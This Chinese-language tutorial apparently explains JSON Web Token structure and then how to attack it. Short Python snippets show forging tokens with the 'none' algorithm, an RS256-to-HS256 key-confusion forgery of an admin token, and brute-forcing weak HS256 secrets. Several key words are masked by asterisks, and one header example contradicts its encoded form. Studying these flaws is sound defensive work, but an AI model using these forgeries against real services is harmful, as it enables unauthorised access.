JSON WEB TOKEN-----jwt

一,JWT介绍
JSON WEB TOKEN-----jwt
JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案。是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
二,JWT的原理
服务器认证后,生成一个JSON对象,发回给用户。就像下面一样。

{
	“姓名”:“FFM-G”,
	“时间”:“2019年5月”
}

三:JWT的数据结构

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ.wBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k

上面这个就是一个JWT。他是一个很长的字符串,一共分为三部分,每部分用(.)分割。


三部分依次如下:

  • header(头部)
  • payload(负载)
  • Signature(签名)
    也就是说Header.Payload.Signature
    jwt 解码https://jwt.io/
    第一部分,头部headereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
  "alg": "RS256",
  "typ": "JWT"
}

alg表示签名的算法,默认为HS256,或者是RSA
typ表示token的类型。
对header部分进行base64url编码,编码后就是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
第二部分:负载payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ

{
  "name": "Poooo",
  "priv": "admin"
}

可见可以看到用户名和用户,因此不要在jwt中的header和payload中放置敏感的信息,除非他们本身是加密的。
对payload部分进行base64url编码,编码后就是payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ
第三部分:签名signaturewBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k
Signature 部分是 对前两部分 的 签名,目的是:防止数据篡改。
首先,需要指定一个**(secret)。这个**只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。
base64url:这个编码其实和base64大体上并没有多少变化,只是有时token会在url中传输,例如:www.xxxx.com?token=xxxx 因为base64中的+ = /会在url中有特殊的含义,所以要进行替换。=会被省略 +替换为 -/替换为 _。这就是base64url编码。

四:攻击jwt
1,敏感信息泄露
因为jwt是明文传输,所以payload容易存在敏感信息泄露。


2,修改算法为none
签名算法是为了后端进行签名校验,所以修改alg算法为none,后端就不会进行签名校验。直接可以将token中的signaturn数据(只留下header+’.’+payload+’.’)提交到服务器即可。
这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
案例如下:

import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下:
JSON WEB TOKEN-----jwt


3,修改算法RS256为HS256
算法RS256是非对称算法,所以使用私钥对信息进行签名,使用公钥进行验证。
算法HS256是对称算法,只需要使用秘***对每条信息进行签名和验证。
案例如下:
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘***,然后使用HS256算法验证签名,从而伪造token通过验证。

import jwt
import base64
public = open('pubkey.txt', 'r').read() #pubkey.txt为公钥
print jwt.encode({"name": "Poooo","priv": "admin"}, key=public, algorithm='HS256')

4,HS256(对称加密)****
如果HS256**强度较弱,可以直接暴力**,如PyJWT库样例代码中使用secret字符串当做**

那么暴力猜解**,当**正确则解密成功,**错误解密代码抛出异常

可使用PyJWT或 John Ripper进行**测试
PyJWT库 https://github.com/jpadilla/pyjwt


>>> import jwt

>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')

'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'

>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])

{'some': 'payload'}

参考:https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
http://www.cnblogs.com/dliv3/p/7450057.html